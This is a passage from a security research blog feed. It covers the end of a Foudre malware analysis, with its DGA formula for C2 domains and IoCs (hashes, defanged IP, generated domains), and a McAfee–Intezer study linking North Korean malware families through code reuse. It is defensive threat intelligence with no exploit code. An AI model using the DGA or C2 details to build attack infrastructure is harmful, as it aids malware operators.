&lt;td&gt;Yes, different (see below)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VirusTotal Detections&lt;/td&gt;
&lt;td&gt;41/66&lt;/td&gt;
&lt;td&gt;3/67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String Encryption&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Already Running Detection String&lt;/td&gt;
&lt;td&gt;TNRRDPKE&lt;/td&gt;
&lt;td&gt;TNRRDPKE2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Domain Generation Algorithm (DGA)&lt;span class="hx:absolute hx:-mt-20" id="domain-generation-algorithm-dga"&gt;&lt;/span&gt;
&lt;a href="#domain-generation-algorithm-dga" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The DGA used by version 8 of Foudre has only changed slightly from the previous
versions.&lt;/p&gt;
&lt;p&gt;In the previous versions, the DGA algorithm was calculated by the following
algorithm (credit to &lt;a href="https://twitter.com/xedi25"target="_blank" rel="noopener"&gt;Esmid Idrizovic&lt;/a&gt;):&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ToHex(CRC32(&amp;#34;NRV1&amp;#34; &amp;#43; year &amp;#43; month &amp;#43; week_number)) &amp;#43; (&amp;#34;.space&amp;#34;|&amp;#34;.net&amp;#34;|&amp;#34;.top&amp;#34;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There are two minor differences now when calculating the C2. NRV1 was replaced
with NRTV1 and .dynu.net was added as suffix to the domain making the algorithm
now:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ToHex(CRC32(&amp;#34;NRTV1&amp;#34; &amp;#43; year &amp;#43; month &amp;#43; week_number)) &amp;#43; (&amp;#34;.space&amp;#34;|&amp;#34;.net&amp;#34;|&amp;#34;.top&amp;#34;|&amp;#34;.dynu.net&amp;#34;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A few of the calculated domains were added to the bottom of the report in the
IoCs section. The domains up to week of September 9, 2018 (week 35) have been
registered in Panama and resolve to the same IP address &lt;code&gt;185[.]61[.]154[.]26&lt;/code&gt;.
The oldest domain using this algorithm we could find that was registered was
registered for the week of November 5, 2017.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Due to the content of the video and the information from the reports on
previous versions of Foudre, we believe the targets are mostly Iranian
citizens. We have registered some of the future generated domains to prevent
the attack, and will update the post with information in regards to the
infected victims.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;WinRAR SFX c38533b85e4750e6f649cc407a50031de0984a8f3d5b90600824915433a5e218
D1 DLL a02ce6768662ef250d248c158f26129dd4dfab30845d07962fbfe7aa19b16db9
D2 DLL c7279a32329ebb1ab5c1cdbfbddb5a167e1505340c3ca72e837a222ff92665a6
Unknown Binary cef161a220e019acc9ae79924a477c64aac2d6cc04126bb3f4a9f8452515f40f
MP4 dbed2ca2e9c53dd72c3ed3ce60e603c6c91c80152f924d97d8514781e6d9e26f
lockbox3 signature d2645d16e869addd099727c3c58438c2f6935d92c00f9e4b237ef498de1dad87&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;185[.]61[.]154.26
ns1[.]cf75d89b[.]space
ns2[.]cf75d89b[.]space
Week 32 (Aug 5) - fe19f97f[.]space
Week 33 (Aug 12) - 891ec9e9[.]space
Week 34 (Sept 2) - 177a5c4a[.]space
Week 35 (Sept 9) - 607d6cdc[.]space
Week 36 (Sept 16) - f8b65751[.]space
Week 37 (Sept 23) - 8fb167c7[.]space
Week 38 (Sept 30) - 1f0e7a56[.]space
Week 39 (Oct 7) - 68094ac0[.]space
Week 40 (Oct 14) - 1d8bfc20[.]space&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families</title><link>https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/</link><pubDate>Mon, 06 Aug 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/</guid><description>
&lt;p&gt;&lt;em&gt;This research is a joint effort of
&lt;a href="https://twitter.com/ChristiaanBeek"target="_blank" rel="noopener"&gt;Christiaan Beek&lt;/a&gt;, lead scientist &amp;amp; sr.
principal engineer at McAfee, and
&lt;a href="https://twitter.com/jaytezer"target="_blank" rel="noopener"&gt;Jay Rosenberg&lt;/a&gt;, senior security researcher at
Intezer, and can be found in the McAfee Labs blog as well.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden
Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed
to have come from North Korea. But how can we know with certainty? And what
connection does a DDoS and disk-wiping attack from July 4, 2009, have with
WannaCry, one of the largest cyberattacks in the history of the cyber sphere?&lt;/p&gt;
&lt;p&gt;From the Mydoom variant Brambul to the more recent Fallchill, WannaCry, and the
targeting of cryptocurrency exchanges, we see a distinct timeline of attacks
beginning from the moment North Korea entered the world stage as a significant
threat actor.&lt;/p&gt;
&lt;p&gt;Bad actors have a tendency to unwittingly leave fingerprints on their attacks,
allowing researchers to connect the dots between them. North Korean actors have
left many of these clues in their wake and throughout the evolution of their
malware arsenal.&lt;/p&gt;
&lt;p&gt;This post reflects months of research; in it we will highlight our code
analysis illustrating key similarities between samples attributed to the
Democratic People’s Republic of Korea, a shared networking infrastructure, and
other revealing data hidden within the binaries. Together these puzzle pieces
show the connections between the many attacks attributed to North Korea and
categorize different tools used by specific teams of their cyber army.&lt;/p&gt;
&lt;h2&gt;Valuable context&lt;span class="hx:absolute hx:-mt-20" id="valuable-context"&gt;&lt;/span&gt;
&lt;a href="#valuable-context" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This article is too short to dig deeply into the history, politics, and
economic changes of recent years. Nonetheless, we must highlight some events to
put past and present cyber events into perspective. The DPRK, like any country,
wants to be as self-sufficient and independent as possible. However, for
products such as oil, food, and foreign currency for trading, the country lacks
resources and has to find ways of acquiring them. What can a nation do when
legal international economics are denied? To survive, it must gain foreign
currency for trading. One of the oldest ways to do this is to join the worlds
of gambling (casinos) and drugs. In 2005, the United States wanted to shut down
North Korean enterprises involved in illegal operations. They investigated a
couple of banks in Asia that seemed to have ties with North Korea and operated
as money laundering sites. One bank in particular is controlled by a
billionaire gambling mogul who started a casino in Pyongyang and has close ties
to Pyongyang. That bank, based in Macau, came back into the picture during an
attack on the SWIFT financial system of a bank in Vietnam in 2015. The Macau
bank was listed twice in the malware’s code as a recipient of stolen funds:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig1.png" title="SWIFT code in malware." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SWIFT code in malware.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Code reuse&lt;span class="hx:absolute hx:-mt-20" id="code-reuse"&gt;&lt;/span&gt;
&lt;a href="#code-reuse" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There are many reasons to reuse malware code, which is very common in the world
of cybercrime. If we take an average ransomware campaign, for example, once the
campaign becomes less successful, actors often change some of basics such as
using a different packer to bypass defenses. With targeted campaigns, an
adversary must keep its tools undetected for as long as possible. By
identifying reused code, we gain valuable insights about the “ancestral
relations” to known threat actors or other campaigns. Our research was heavily
focused on this type of analysis.&lt;/p&gt;
&lt;p&gt;In our years of investigating cyber threats, we have seen the DPRK conduct
multiple cyber campaigns. In North Korea, hackers’ skills determine which cyber
units they work for. We are aware two major focuses of DPRK campaigns: one to
raise money, and one to pursue nationalist aims. The first workforce gathers
money for the nation, even if that means committing cybercrime to hack into
financial institutions, hijack gambling sessions, or sell pirated and cracked
software. Unit 180 is responsible for illegally gaining foreign currency using
hacking techniques. The second workforce operates larger campaigns motivated by
nationalism, gathering intelligence from other nations, and in some cases
disrupting rival states and military targets. Most of these actions are
executed by Unit 121.&lt;/p&gt;
&lt;p&gt;We focused in our research on the larger-scale nationalism-motivated campaigns,
in which we discovered many overlaps in code reuse. We are highly confident
that nation-state–sponsored groups were active in these efforts.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;span class="hx:absolute hx:-mt-20" id="timeline"&gt;&lt;/span&gt;
&lt;a href="#timeline" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We created a timeline of most of the malware samples and noticeable campaigns
that we examined. We used primarily open-source blogs and papers to build this
timeline and used the malware artifacts as a starting point of our research.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig2.png" title="Timeline of malware and campaigns." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Timeline of malware and campaigns.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Analysis and observations&lt;span class="hx:absolute hx:-mt-20" id="analysis-and-observations"&gt;&lt;/span&gt;
&lt;a href="#analysis-and-observations" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Similarities&lt;span class="hx:absolute hx:-mt-20" id="similarities"&gt;&lt;/span&gt;
&lt;a href="#similarities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;During our research, we found many malware family names that are believed to be
associated with North Korea’s cyber operations. To better understand this
threat actor and the similarities between the campaigns, we have used Intezer’s
code similarity detection engine to plot the links between a vast number of
these malware families.&lt;/p&gt;
&lt;p&gt;The following graph presents a high-level overview of these relations. Each
node represents a malware family or a hacking tool (“Brambul,” “Fallchill,”
etc.) and each line presents a code similarity between two families. A thicker
line correlates to a stronger similarity. In defining similarities, we take
into account only unique code connections, and disregard common code or
libraries. This definition holds both for this graph and our entire research.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can easily see a significant amount of code similarities between almost
every one of the attacks associated with North Korea. Our research included
thousands of samples, mostly unclassified or uncategorized. This graph was
plotted using a dataset of only several hundred samples, so there might be more
connections than displayed here.&lt;/p&gt;
&lt;h3&gt;Deep technical analysis&lt;span class="hx:absolute hx:-mt-20" id="deep-technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#deep-technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;During our research, we came across many code similarities between North Korean
binaries that had not been seen before. Some of these attacks and malware have
not been linked to one another, at least publicly. We will showcase four
examples of reused code that has been seen only in malware attributed to North
Korea.&lt;/p&gt;
&lt;h4&gt;Common SMB module&lt;span class="hx:absolute hx:-mt-20" id="common-smb-module"&gt;&lt;/span&gt;
&lt;a href="#common-smb-module" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The first code example appeared in the server message block (SMB) module of
WannaCry in 2017, Mydoom in 2009, Joanap, and DeltaAlfa. Further shared code
across these families is an AES library from CodeProject. These attacks have
been attributed to Lazarus; that means the group has reused code from at least
2009 to 2017.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig4.png" title="Code overlap of a MYDOOM sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap of a MYDOOM sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In the next screenshots we highlight the exact code block that reflects the SMB
module we found in campaigns other than WannaCry and Mydoom.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig5.png" title="An SMB module common to several attacks." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;An SMB module common to several attacks.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A lot has been written about
&lt;a href="https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/"target="_blank" rel="noopener"&gt;WannaCry&lt;/a&gt;.
As we analyze the code against our databases, we can draw the following
overview:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig6.png" title="WannaCry code comparison overview." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;WannaCry code comparison overview.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;For our research we compared the three major variants of WannaCry. An early
release, called a beta, from February 2017, one from April, and the infamous
one that hit the world in May.&lt;/p&gt;
&lt;h4&gt;Common file mapping&lt;span class="hx:absolute hx:-mt-20" id="common-file-mapping"&gt;&lt;/span&gt;
&lt;a href="#common-file-mapping" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The second example demonstrates code responsible for mapping a file and using
the XOR key 0xDEADBEEF on the first four bytes of the file. This code has
appeared in the malware families NavRAT and Gold Dragon, plus a certain DLL
from the South Korean gambling hacking campaign. These three RATs are thought
to be affiliated with North Korea’s Group 123. NavRAT and the gambling DLL
share more code, making them closer variants.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig7.png" title="Code overlap in a NavRAT sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap in a NavRAT sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig8.png" title="Code overlap in a NavRAT sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap in a NavRAT sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Unique net share&lt;span class="hx:absolute hx:-mt-20" id="unique-net-share"&gt;&lt;/span&gt;
&lt;a href="#unique-net-share" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The third example, responsible for launching a cmd.exe with a net share, has
been seen in 2009’s Brambul, also known as SierraBravo, as well as KorDllBot in
2011. These malware families are also attributed to the Lazarus group.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig9.png" title="Code overlap of a SierraBravo (Brambul) sample." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap of a SierraBravo (Brambul) sample.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig10.png" title="A code block reused in the malware families Brambul/SierraBravo and KorDllBot." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A code block reused in the malware families Brambul/SierraBravo and KorDllBot.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Operation Dark Hotel&lt;span class="hx:absolute hx:-mt-20" id="operation-dark-hotel"&gt;&lt;/span&gt;
&lt;a href="#operation-dark-hotel" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;In 2014, Kaspersky reported a more than seven-year campaign against Asian
hotels, in which the adversaries used an arsenal of tools to break into the
computers of hotel visitors. Zero days and control servers were used, along
with the malware family Tapaoux, or DarkHotel, according to the report.&lt;/p&gt;
&lt;p&gt;While we examined the DPRK samples, we noticed a hit with the Dark Hotel
samples in our collections. By going through the code, we noticed several
pieces of code overlap and reuse, for example, with samples from Operation
Troy.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig11.png" title="Code overlap in a Dark Hotel sample." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap in a Dark Hotel sample.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Identifying a group&lt;span class="hx:absolute hx:-mt-20" id="identifying-a-group"&gt;&lt;/span&gt;
&lt;a href="#identifying-a-group" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;By applying what we learned from our comparisons and code-block
identifications, we uncovered possible new links between malware families and
the groups using them.&lt;/p&gt;
&lt;p&gt;With the different pieces of malware we have analyzed, we can illustrate the
code reuse and sharing between the groups known to be affiliated with North
Korea.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig12.png" title="Groups and families linked by code reuse." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Groups and families linked by code reuse.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware attributed to the group Lazarus has code connections that link many
of the malware families spotted over the years. Lazarus is a collective name
for many DPRK cyber operations, and we clearly see links between malware
families used in different campaigns.&lt;/p&gt;
&lt;p&gt;The malware (NavRAT, gambling, and Gold Dragon) possibly created by Group 123
are connected to each other but are separate from those used by Lazarus.
Although these are different units focusing on different areas, there seems to
be a parallel structure in which they collaborate during certain campaigns.&lt;/p&gt;
&lt;h2&gt;MITRE ATT&amp;amp;CK&lt;span class="hx:absolute hx:-mt-20" id="mitre-attck"&gt;&lt;/span&gt;
&lt;a href="#mitre-attck" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;From our research of these malware samples, we can identify the following
techniques used by the malware families:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/08/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When we zoom in on the Discovery category in the MITRE model, for example, we
notice that the techniques are typical for first-stage dropper malware. The
adversary drops these samples on victims’ machines and collects information on
where they landed in the victims’ networks and which user/access rights they
gained.&lt;/p&gt;
&lt;p&gt;In 2018, we saw examples of campaigns in which attackers used PowerShell to
download and execute these droppers. Once information has been sent to a
control server, the adversary determines the next steps, which often include
installing a remote access tool to enable lateral movement on the network and
pursue the goals of the campaign.&lt;/p&gt;
&lt;h2&gt;Final words&lt;span class="hx:absolute hx:-mt-20" id="final-words"&gt;&lt;/span&gt;
&lt;a href="#final-words" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Security vendors and researchers often use different names when speaking about
the same malware, group, or attack. This habit makes it challenging to group
all the malware and campaigns. By taking a scientific approach, such as looking
for code reuse, we can categorize our findings. We believe our research will
help the security community organize the current “mess” we face in relation to
North Korean malware and campaigns.&lt;/p&gt;
&lt;p&gt;We clearly saw a lot of code reuse over the many years of cyber campaigns we
examined. This indicates the North Koreans have groups with different skills
and tools that execute their focused parts of cyber operations while also
working in parallel when large campaigns require a mix of skills and tools.&lt;/p&gt;
&lt;p&gt;We found our months of research, data gathering, and analysis very satisfying.
By combining our skills, data, and technology, we were able to draw connections
and reveal links that we had not seen before. The cybersecurity industry would
greatly benefit from more collaboration and sharing of information, and we hope
that this effort between McAfee and Intezer will inspire the community to work
together more often.&lt;/p&gt;
&lt;p&gt;The authors thank Costin Raiu for providing them with samples they did not have
in their collections.&lt;/p&gt;
&lt;h2&gt;Sources&lt;span class="hx:absolute hx:-mt-20" id="sources"&gt;&lt;/span&gt;
&lt;a href="#sources" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Glenn Simpson, Gordon Fairclough, and Jay Solomon, “U.S. Probes Banks’ North
Korea Ties.” Wall Street Journal, last updated September 8, 2005.&lt;/li&gt;
&lt;li&gt;Christiaan Beek, “Attacks on SWIFT Banking system benefit from insider
knowledge.”
&lt;a href="https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/"target="_blank" rel="noopener"&gt;https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Atif Mushtaq, “DDOS Madness Continued…”
&lt;a href="https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html"target="_blank" rel="noopener"&gt;https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ryan Sherstobitoff and Jessica Saavedra-Morales, “Gold Dragon Widens Olympics
Malware Attacks, Gains Permanent Presence on Victims’ Systems.”
&lt;a href="https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"target="_blank" rel="noopener"&gt;https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Alex Drozhzhin, “Darkhotel: a spy campaign in luxury Asian hotels.”
&lt;a href="https://www.kaspersky.com/blog/darkhotel-apt/6613/"target="_blank" rel="noopener"&gt;https://www.kaspersky.com/blog/darkhotel-apt/6613/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Warren Mercer, Paul Rascagneres, and Jungsoo An, “NavRAT Uses US-North Korea
Summit As Decoy For Attacks In South Korea.”
&lt;a href="https://blog.talosintelligence.com/2018/05/navrat.html"target="_blank" rel="noopener"&gt;https://blog.talosintelligence.com/2018/05/navrat.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Sergei Shevchenko and Adrian Nish, “Cyber Heist Attribution.”
&lt;a href="https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html"target="_blank" rel="noopener"&gt;https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mydoom code reuse report.
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad"target="_blank" rel="noopener"&gt;https://analyze.intezer.com/#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;NavRAT code reuse report.
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb"target="_blank" rel="noopener"&gt;https://analyze.intezer.com/#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SierraBravo code reuse report.
